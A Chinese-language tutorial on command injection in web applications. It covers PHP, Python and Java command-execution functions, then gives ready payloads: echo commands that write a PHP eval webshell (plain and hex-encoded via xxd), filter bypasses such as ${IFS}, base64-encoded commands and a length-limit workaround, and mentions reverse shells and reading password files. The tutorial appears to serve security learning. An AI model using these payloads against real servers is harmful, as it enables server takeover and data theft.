简介
命令注入通常是指Web应用在服务器上拼接系统命令而造成的漏洞。
在Web应用中,有时候会用到一些命令执行的函数
PHP
- system:执行外部程序,并且显示输出
<?php
$whoami = system('whoami', $retval);
echo $retval; //外部命令执行后的返回状态
?> #将输出的内容写入变量$retval中,并输出该变量
- exec:执行一个外部程序
<?php
echo exec('whoami');
?>
exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果想全部输出的的结果,可以使用第二个参数,让其输出到指定的数组。
<?php
echo exec("whoami",$file);
print_r($file);
?>
- passthru:与 exec() 函数类似,执行外部程序并且显示原始输出。
<?php
passthru("ls");
?>
- shell_exec:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
<?php
shell_exec('ls');
?>
Python
- os.system
import os
host = "baidu.com"
os.system("ping" % host)
- os.popen
import os
output=os.popen('dir').read()
output
subprocess模块被推荐用来替换一些老的模块和函数,如:os.system、os.spawn、os.popen等
- subprocess.call:执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)
import subprocess
subprocess.call('ping www.baidu.com')
- subprocess.Popen
import subprocess
subprocess.Popen(["ping","www.baidu.com"])
Java
- java.lang.Runtime.getRuntime().exec(command)
import java.io.IOException;
public class javaexec {
public static void main(String[] args) throws IOException {
//以新文件方式,打开windows记事本
Runtime.getRuntime().exec("notepad");
//打开已有文件,打开windows记事本
Runtime.getRuntime().exec("notepad 路径 ");
}
}
利用方式:
- 存在回显的话,可以直接读入各种配置文件,密码文件,数据库连接文件等等;
- 不存在回显的时候,可以使用时间延迟推断,类似盲注的方法。通过一些命令的延时作用来判断漏洞的存在,例如ping命令;
- 不能在浏览器直接看到回显,可将命令重定向到当前目录下的文件中并查看。或者用TFTP上传工具到服务器,用telnet和netcat建立反向shell,用mail通过SMTP发送结果;
- 查看自己的权限,可以提升权限,访问敏感数据或控制服务器。
命令注入写入webshell
Windows
用^来转义<和>
echo ^<?php eval($_POST[cmd])?^> >webshell的目录/shell.php
Linux
用\来转义<和>,但是很多PHP都默认开启了gpc,但是可以先把一句话木马转换为16进制的格式,然后再用xxd命令将16进制还原。
echo '<?php eval($_POST[cmd]);>' > web目录/shell.php
echo 3c3f7068706576616c28245f504f53545b636d645d293b3e|xxd -r -ps >web目录/shell.php
绕过技巧
绕过空格过滤
空格在bash下,可以用以下字符进行代替
<
${IFS}
$IFS$9
%09
截断符号
$ ; | - ( ) ` || & && { }
例如:ls;cd ../
利用base编码绕过
root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` 1.txt
hello world!
连接符
使用两个单引号可以绕过
七字绕过
<?php
show_source("index.php");
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
代码很简单,绕过长度限制就可以执行任意命令。
思路就是将命令写入一个文件中,然后执行文件
Linux中命令换行
在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 “\“,可以将一条命令写在多行,“\” 充当拼接符号
>1.txt #创建一个文件
echo "ec\\">>1.txt
echo "ho \\">>1.txt
echo "hello \\">>1.txt
echo "world!">>1.txt #将命令写入1.txt
sh 1.txt #输出hello world!
ls -t命令
在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
>a
>b
>c
ls -t
ls -t>>c
cat c